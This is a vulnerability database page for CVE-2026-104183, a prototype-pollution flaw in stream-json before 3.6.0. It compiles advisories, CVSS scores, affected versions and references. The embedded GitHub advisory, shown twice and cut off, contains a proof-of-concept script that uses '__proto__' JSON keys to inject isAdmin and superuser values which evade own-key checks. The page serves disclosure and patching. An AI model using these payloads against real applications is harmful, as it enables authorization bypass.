CVE-2026-104183
stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects
stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
5.1
stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects
stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.
- Record
CVE-2026-104183- CVSS 3.1
- 5.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-1321
- Updated
- 2026-11-02
EUVDEUVD-2026-91057
5.1
stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.
- Record
EUVD-2026-91057- CVSS 3.1
- 5.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-mjw6-4jj6-33hc
5.1
stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects
Summary
A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.
Details
The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.
PoC
Run:
node poc-stream-json-proto-injection.mjs
Full proof-of-concept source (poc-stream-json-proto-injection.mjs):
// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
// `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
// ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';
const sv = (input, P = parser) => new Promise((res, rej) => {
const vals = [];
Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
.on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
const out = {};
Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
.on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});
let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(` PASS ${name}`); } else { fail++; console.log(` FAIL ${name}`); } };
const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];
console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');
console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__…
- Record
GHSA-mjw6-4jj6-33hc- CVSS 3.1
- 5.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-1321
- Updated
- 2026-11-02
NVD
5.1
stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.
- Record
CVE-2026-104183- CVSS 3.1
- 5.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSV
5.1
stream-json: Prototype pollution: Assembler writes this.current[this.key] on plain objects
stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with plain assignment, so an input key named proto invokes the inherited setter and causes parsed object prototype replacement instead of creating an own data property. Applications that make authorization or feature decisions from inherited values can therefore consume attacker-controlled properties, and a null prototype can disrupt code that expects Object.prototype methods. The researcher treats parsing untrusted JSON as part of the project contract, while the maintainer states that documented inputs are locally owned dumps, exports, or logs and characterizes the attack vector as local. The global Object.prototype is not polluted. This issue is fixed in version 3.6.0.
- Record
CVE-2026-104183- CVSS 3.1
- 5.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSVGHSA-mjw6-4jj6-33hc
5.1
stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects
Summary
A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.
Details
The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.
PoC
Run:
node poc-stream-json-proto-injection.mjs
Full proof-of-concept source (poc-stream-json-proto-injection.mjs):
// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
// `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
// ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';
const sv = (input, P = parser) => new Promise((res, rej) => {
const vals = [];
Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
.on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
const out = {};
Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
.on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});
let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(` PASS ${name}`); } else { fail++; console.log(` FAIL ${name}`); } };
const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];
console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');
console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__…
- Record
GHSA-mjw6-4jj6-33hc- CVSS 3.1
- 5.1 Medium
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - Weakness
- CWE-1321
- Updated
- 2026-11-02
OSVCLSA-2026-1791278816 No score
TuxCare security update for stream-json (1 CVE)
TuxCare rebuilt stream-json to address 1 CVE. Fixed in 1.9.1-tuxcare.8.
- Record
CLSA-2026-1791278816- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
stream-jsonnpm |
before 3.6.0 | 3.6.0 |
stream-jsonTuxCare:npm |
1.9.1-tuxcare.0 up to 1.9.1-tuxcare.8, plus listed versions 1.9.11.9.1-tuxcare.11.9.1-tuxcare.21.9.1-tuxcare.31.9.1-tuxcare.41.9.1-tuxcare.51.9.1-tuxcare.61.9.1-tuxcare.7 |
1.9.1-tuxcare.8 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-104183 is a medium vulnerability (CVSS 5.1) in Uhop Stream-json, published October 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 9th percentile. Fixed in stream-json 3.6.0.
References
github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc
github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358
github.com/uhop/stream-json/releases/tag/3.6.0
nvd.nist.gov/vuln/detail/CVE-2026-104183
github.com/advisories/GHSA-mjw6-4jj6-33hc
github.com/CVEProject/cvelistV5/tree/main/cves/2026/104xxx/CVE-2026-104183.json
github.com/uhop/stream-json
Left out here: the rest of 2 source descriptions. The JSON record has them.